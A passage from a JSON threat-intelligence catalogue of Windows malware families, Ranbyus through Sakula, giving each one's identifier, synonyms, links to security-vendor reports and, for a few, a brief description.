      "value": "Ranbyus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam",
          "http://blog.talosintel.com/2016/07/ranscam.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "50c92b0b-cae3-41e7-b7d8-dffc2c88ac4b",
      "value": "Ranscam"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc",
          "https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5310903e-0704-4ca4-ab1b-52d243dddb06",
      "value": "Ransoc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock",
          "https://forum.malekal.com/viewtopic.php?t=36485&start=",
          "https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2"
        ],
        "synonyms": [
          "WinLock"
        ],
        "type": []
      },
      "uuid": "3e47c926-eea3-4fba-915a-1f3c5b92a94c",
      "value": "Ransomlock"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom",
          "https://twitter.com/malwrhunterteam/status/997748495888076800",
          "https://twitter.com/malwrhunterteam/status/977275481765613569"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "06929ad3-2a00-4212-b171-9ecb5f956af5",
      "value": "Rapid Ransom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer",
          "http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bc1fc21d-80c0-4629-bb18-d5ae1df2a431",
      "value": "RapidStealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog",
          "https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/",
          "https://tracker.fumik0.com/malware/Rarog"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "184e5134-473c-4a01-9a8b-f4776f178fc9",
      "value": "Rarog"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar",
          "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e0a1407f-2595-4bd2-ba16-2c6d9be4e066",
      "value": "rarstar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratabankapos",
          "http://blog.trex.re.kr/3",
          "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "15b85bac-c58b-41fd-8332-cfac7c445e0d",
      "value": "RatabankaPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos",
          "https://threatvector.cylance.com/en_us/home/rawpos-malware.html",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "80f87001-ff40-4e33-bd12-12ed1a92d1d7",
      "value": "RawPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs",
          "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/",
          "https://www.f-secure.com/documents/996508/1030745/callisto-group",
          "https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/"
        ],
        "synonyms": [
          "Crisis",
          "Remote Control System"
        ],
        "type": []
      },
      "uuid": "c359c74e-4155-4e66-a344-b56947f75119",
      "value": "RCS"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv",
          "https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1bf3469a-b9c8-497a-bcbb-b1095386706a",
      "value": "rdasrv"
    },
    {
      "description": "Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot",
          "https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under",
          "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/",
          "http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9d58d94f-6885-4a38-b086-b9978ac62c1f",
      "value": "ReactorBot"
    },
    {
      "description": "Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the \"Five Poisons\" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver",
          "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "826c31ca-2617-47e4-b236-205da3881182",
      "value": "Reaver"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha",
          "https://www.recordedfuture.com/redalpha-cyber-campaigns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6be9eee4-ee99-4ad6-bee3-2365d7b37a88",
      "value": "RedAlpha"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.redaman",
          "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "97dab1f9-724a-4560-9c70-90c0d1d7fa4b",
      "value": "Redaman"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves",
          "http://blog.macnica.net/blog/2017/12/post-8c22.html",
          "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf",
          "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html",
          "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
          "http://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf",
          "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves",
          "https://www.jpcert.or.jp/magazine/acreport-redleaves.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a70e93a7-3578-47e1-9926-0818979ed866",
      "value": "RedLeaves"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms",
          "https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "36893c2a-28ad-4dd3-a66b-906f1dd15b92",
      "value": "Redyms"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert",
          "https://twitter.com/JaromirHorejsi/status/816237293073797121"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cd5f5165-7bd3-4430-b0bc-2c8fa518f618",
      "value": "Red Alert"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler",
          "http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ca8ed7c0-f40b-4c0e-9dc4-52d6e0da41a7",
      "value": "Red Gambler"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg",
          "https://sensepost.com/discover/tools/reGeorg/",
          "https://github.com/sensepost/reGeorg"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9ee0eb87-7648-4581-b301-7472a48946ad",
      "value": "reGeorg"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin",
          "https://www.youtube.com/watch?v=jeLd-gw2bWo"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb",
      "value": "Regin"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos",
          "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "http://malware-traffic-analysis.net/2017/12/22/index.html",
          "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
          "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2",
          "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/",
          "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/",
          "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html",
          "https://secrary.com/ReversingMalware/RemcosRAT/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2894aee2-e0ec-417a-811e-74a68ab967b2",
      "value": "Remcos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi",
          "https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf",
          "https://securelist.com/chafer-used-remexi-malware/89538/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d39486af-c056-4bbf-aa1d-86fb5ef90ada",
      "value": "Remexi"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9",
      "value": "Remsec"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy",
          "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b2b93651-cf64-47f5-a54f-799b919c592c",
      "value": "Remy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom",
          "https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a1f137d4-298f-4761-935d-bd39ab898479",
      "value": "Rerdom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "42fa55e3-e708-4c11-b807-f31573639941",
      "value": "Retadup"
    },
    {
      "description": "Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe",
          "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/",
          "https://github.com/cocaman/retefe",
          "https://www.govcert.admin.ch/blog/33/the-retefe-saga",
          "https://www.govcert.admin.ch/blog/35/reversing-retefe",
          "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/",
          "https://github.com/Tomasuh/retefe-unpacker"
        ],
        "synonyms": [
          "Tsukuba",
          "Werdlod"
        ],
        "type": []
      },
      "uuid": "96bf1b6d-28e1-4dd9-aabe-23050138bc39",
      "value": "Retefe (Windows)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat",
          "https://isc.sans.edu/diary/rss/22590",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/"
        ],
        "synonyms": [
          "Revetrat"
        ],
        "type": []
      },
      "uuid": "75b1e86f-fcc1-49a7-9b4e-7cd93e91b23f",
      "value": "Revenge RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor",
          "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/",
          "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "daddd1dc-c415-4970-89ee-526ee8de2ec1",
      "value": "RGDoor"
    },
    {
      "description": "Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof",
          "https://blog.avast.com/rietspoof-malware-increases-activity"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ec67123a-c3bc-4f46-b9f3-569c19e224ca",
      "value": "Rietspoof"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor",
          "https://global.ahnlab.com/global/upload/download/techreport/[AhnLab]Andariel_a_Subgroup_of_Lazarus%20(3).pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2639b71e-1bf1-4cd2-8fa2-9498e893ef3f",
      "value": "Rifdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu",
          "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6703e8ce-2c5e-4a9d-96b4-49e90074b043",
      "value": "Rikamanu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux",
          "https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Edwards-Nazario-VB2011.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "383021b9-fcf9-4c21-a0e2-d75fb8c0727a",
      "value": "Rincux"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a85b0619-ed8e-4324-8603-af211d682dac",
      "value": "Ripper ATM"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun",
          "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf",
          "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "148a7078-3a38-4974-8990-9d5881f8267b",
      "value": "Rising Sun"
    },
    {
      "description": "CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms",
          "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf"
        ],
        "synonyms": [
          "Remote Manipulator System"
        ],
        "type": []
      },
      "uuid": "94339b04-9332-4691-b820-5021368f1d3a",
      "value": "RMS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rock",
          "https://github.com/securitykitten/malware_references/blob/master/rmshixdAPT-C-15-20160630.pdf"
        ],
        "synonyms": [
          "yellowalbatross"
        ],
        "type": []
      },
      "uuid": "95a26977-295f-4843-ad11-a3d9dcb6c192",
      "value": "rock"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader",
          "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1482ffff-47a8-46da-8f47-d363c9d86c0e",
      "value": "Rockloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bd7b1628-2aeb-44c5-91e7-f02c011034cf",
      "value": "Rofin"
    },
    {
      "description": "A .NET variant of ps1.roguerobin",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin",
          "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
          "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "25b08d2e-f803-4520-9518-4d95ce9f6ed4",
      "value": "RogueRobinNET"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "38f57823-ccc2-424b-8140-8ba30325af9c",
      "value": "Rokku"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat",
          "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf",
          "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
          "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
          "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/",
          "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/",
          "https://www.youtube.com/watch?v=uoBQE5s2ba4",
          "http://v3lo.tistory.com/24",
          "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "16dcc67b-4415-4620-818d-7ca24a5ccaf5",
      "value": "RokRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik",
          "http://blogs.cisco.com/security/talos/rombertik"
        ],
        "synonyms": [
          "CarbonGrabber"
        ],
        "type": []
      },
      "uuid": "ab5066b4-d5ff-4f83-9a05-6e74c043a6e1",
      "value": "Rombertik"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "87a45a07-30d7-4223-ae61-6b1e6dde0f5a",
      "value": "Romeo(Alfa,Bravo, ...)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b4a3d0ef-2d7b-4da5-8f90-8213f8f318d9",
      "value": "Roopirs"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam",
          "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8a4eb0ca-7175-4e69-b8d2-fd7a724de67b",
      "value": "Roseam"
    },
    {
      "description": "Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt",
          "https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html",
          "https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/"
        ],
        "synonyms": [
          "RotoCrypt",
          "Rotor"
        ],
        "type": []
      },
      "uuid": "f20ef9a8-6ffc-4ef2-98ba-44f6b2eab966",
      "value": "RotorCrypt"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover",
          "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050",
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    },
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        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix",
          "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/",
          "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf",
          "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/",
          "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/",
          "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html",
          "https://blogs.technet.microsoft.com/mmpc/2013/07/25/the-evolution-of-rovnix-private-tcpip-stacks/",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981",
          "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html"
        ],
        "synonyms": [
          "BkLoader",
          "Cidox",
          "Mayachok"
        ],
        "type": []
      },
      "uuid": "8d984309-b7fa-4ccf-a6b7-da17283aae2f",
      "value": "Rovnix"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli",
          "https://github.com/nccgroup/Royal_APT",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "92d87656-5e5b-410c-bdb6-bf028324dc72",
      "value": "RoyalCli"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns",
          "https://github.com/nccgroup/Royal_APT",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8611f656-b0d8-4d16-93f0-c699f2af9b7a",
      "value": "Royal DNS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena",
          "https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cf74b7a5-72c0-4c2a-96c1-b3c49fc8f766",
      "value": "Rozena"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm",
          "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e6952b4d-e96d-4641-a88f-60074776d553",
      "value": "RTM"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos",
          "https://boozallenmts.com/resources/news/rtpos-new-point-sale-malware-family-uncovered"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "89ee2cb0-2c72-4a25-825b-bb56083fdd9b",
      "value": "rtpos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv",
          "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b88b50c0-3db9-4b8f-8564-4f56f991bee2",
      "value": "Ruckguv"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e1564cfe-ab82-4c14-8f92-65af0d760d70",
      "value": "Rumish"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat",
          "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b746a645-5974-44db-a811-a024214b7fba",
      "value": "running_rat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar",
          "https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction"
        ],
        "synonyms": [
          "RCSU"
        ],
        "type": []
      },
      "uuid": "512e0b13-a52b-45ef-9230-7172f5e976d4",
      "value": "Rurktar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock",
          "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf",
          "http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html",
          "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html",
          "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html",
          "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/",
          "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf",
          "https://www.secureworks.com/blog/research-21041",
          "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "76e98e04-0ab7-4000-80ee-7bcbcf9c110d",
      "value": "Rustock"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk",
          "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware",
          "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/",
          "https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html",
          "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
          "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
          "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
          "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "62c79940-184e-4b8d-9237-35434bb79678",
      "value": "Ryuk"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom",
          "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/",
          "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga",
          "http://malware-traffic-analysis.net/2017/10/13/index.html",
          "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/"
        ],
        "synonyms": [
          "Saga"
        ],
        "type": []
      },
      "uuid": "56db8a46-a71b-4de1-a6b8-4312f78b8431",
      "value": "SAGE"
    },
    {
      "description": "Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat",
          "https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1",
          "https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99",
